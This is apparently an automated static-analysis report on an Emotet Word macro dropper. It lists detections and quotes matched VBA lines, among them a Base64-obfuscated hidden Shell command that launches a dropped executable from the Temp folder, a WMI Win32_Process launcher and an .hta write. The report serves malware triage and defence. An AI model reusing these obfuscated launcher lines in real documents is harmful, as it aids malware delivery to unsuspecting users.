Emotet — Office (OLE) malware analysis

Heuristics 20

• CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
  Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
• Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
  OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
• ClamAV: Doc.Downloader.Emotet-10024800-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Downloader.Emotet-10024800-0
• XOR-encoded strings (key 0xEF) critical SC_XOR_ENCODED
  Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0xEF: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
  Disassembly hidden — these bytes score as data, not coherent x86 code (0/1 branch targets land on an instruction boundary (0% coherence)).
• Embedded PE executable critical OLE_EMBEDDED_EXE
  MZ/PE header found inside document — possible embedded executable
• Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
  OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
• VBA macros detected medium 8 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

    Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.e" & "x" & "e", vbHide

• VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
  VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  Matched line in script

  Set vcxvxczcv = GetObject("wi" & "nmgmts:")

• VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
  VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  Matched line in script

  Set vcxvxczcv = GetObject("wi" & "nmgmts:")

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Set wsh = VBA.CreateObject(UserForm1.TextBox1.Text & UserForm4.TextBox1.Text & UserForm2.TextBox1.Text)

• GetObject call high OLE_VBA_GETOBJ
  GetObject call
  Matched line in script

  Set vcxvxczcv = GetObject("wi" & "nmgmts:")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• Document_Open macro low OLE_VBA_DOCOPEN
  Document_Open macro
  Matched line in script

  Private Sub Document_Open()

• Environ() call (env variable access) low OLE_VBA_ENVIRON
  Environ() call (env variable access)
  Matched line in script

  Open Environ("Temp") & "\1.hta" For Output As #1

• Reference to WinExec API high SC_STR_WINEXEC
  Reference to WinExec API
• Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
  Reference to VirtualProtect API
• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)

  • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
  • http://purl.org/dc/elements/1.1/In document text (OLE body)
  • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
  • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
  • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
  • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
  • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
  • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
  • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Open this report in the interactive analyzer, or submit your own file for analysis.